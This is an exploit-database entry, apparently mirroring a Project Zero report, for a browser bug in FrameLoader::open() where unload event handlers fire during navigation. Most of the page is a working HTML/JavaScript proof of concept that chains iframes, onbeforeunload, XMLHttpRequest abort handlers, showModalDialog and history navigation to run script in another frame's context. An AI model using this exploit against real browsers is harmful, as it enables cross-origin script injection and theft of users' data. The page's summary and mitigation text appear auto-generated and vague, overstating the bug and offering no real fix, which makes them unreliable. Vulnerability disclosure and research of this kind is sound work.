header-logo
Suggest Exploit
vendor:
N/A
by:
Project Zero
8,8
CVSS
HIGH
Unloads Events Vulnerability
20
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2018

FrameLoader::open() Unloads Events Vulnerability

This vulnerability allows an attacker to execute arbitrary code in the context of the browser by exploiting the FrameLoader::open() function. The FrameLoader::open() function calls the clear() function which in turn calls the prepareForDestruction() function which fires unloads events. An attacker can use this vulnerability to execute arbitrary code in the context of the browser by creating an iframe and setting the onbeforeunload event handler. The attacker can then navigate the iframe to a malicious URL and use the XMLHttpRequest object to trigger the onabort event handler. The onabort event handler then calls the showModalDialog() function which can be used to execute arbitrary code in the context of the browser.

Mitigation:

The best way to mitigate this vulnerability is to ensure that the FrameLoader::open() function is not called with malicious input.
Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1197

This is similar to the case https://bugs.chromium.org/p/project-zero/issues/detail?id=1151.
But this time, javascript handlers may be fired in FrameLoader::open.

void FrameLoader::open(CachedFrameBase& cachedFrame)
{
	...
    clear(document, true, true, cachedFrame.isMainFrame()); <<--------- prepareForDestruction which fires unloads events is called.
    ...
}

PoC:
-->

<html>
<body>
Click anywhere...
<script>

function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

function navigate(w, url) {
    let a = w.document.createElement('a');
    a.href = url;
    a.click();
}

window.onclick = () => {
	window.w = open('about:blank', 'w', 'width=500, height=500');

	let i0 = w.document.body.appendChild(document.createElement('iframe'));
	let i1 = w.document.body.appendChild(document.createElement('iframe'));
	i0.contentWindow.onbeforeunload = () => {
		i0.contentWindow.onbeforeunload = null;

		navigate(w, 'about:blank');
	};

	navigate(i0.contentWindow, createURL(`
<body>
<script>
</scrip` + 't></body>'));

	setTimeout(() => {
		let g = i0.contentDocument.body.appendChild(document.createElement('iframe'));
		let x = new g.contentWindow.XMLHttpRequest();
		x.onabort = () => {
			parseFloat('axfasdfasfdsfasfsfasdf');
			i0.contentDocument.write();

	        navigate(w, 'https://abc.xyz/');

	        showModalDialog(createURL(`
<script>
let it = setInterval(() => {
	try {
	    opener.w.document.x;
	} catch (e) {
	    clearInterval(it);
	    window.close();
	}
}, 10);
</scrip` + 't>'));

	        setTimeout(() => {
		        i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';
		        navigate(i1.contentWindow, 'about:srcdoc');
	        }, 10);
		};

		x.open('GET', createURL('x'.repeat(0x1000000)));
		x.send();
		w.history.go(-2);
	}, 200);
};

</script>
</body>
</html>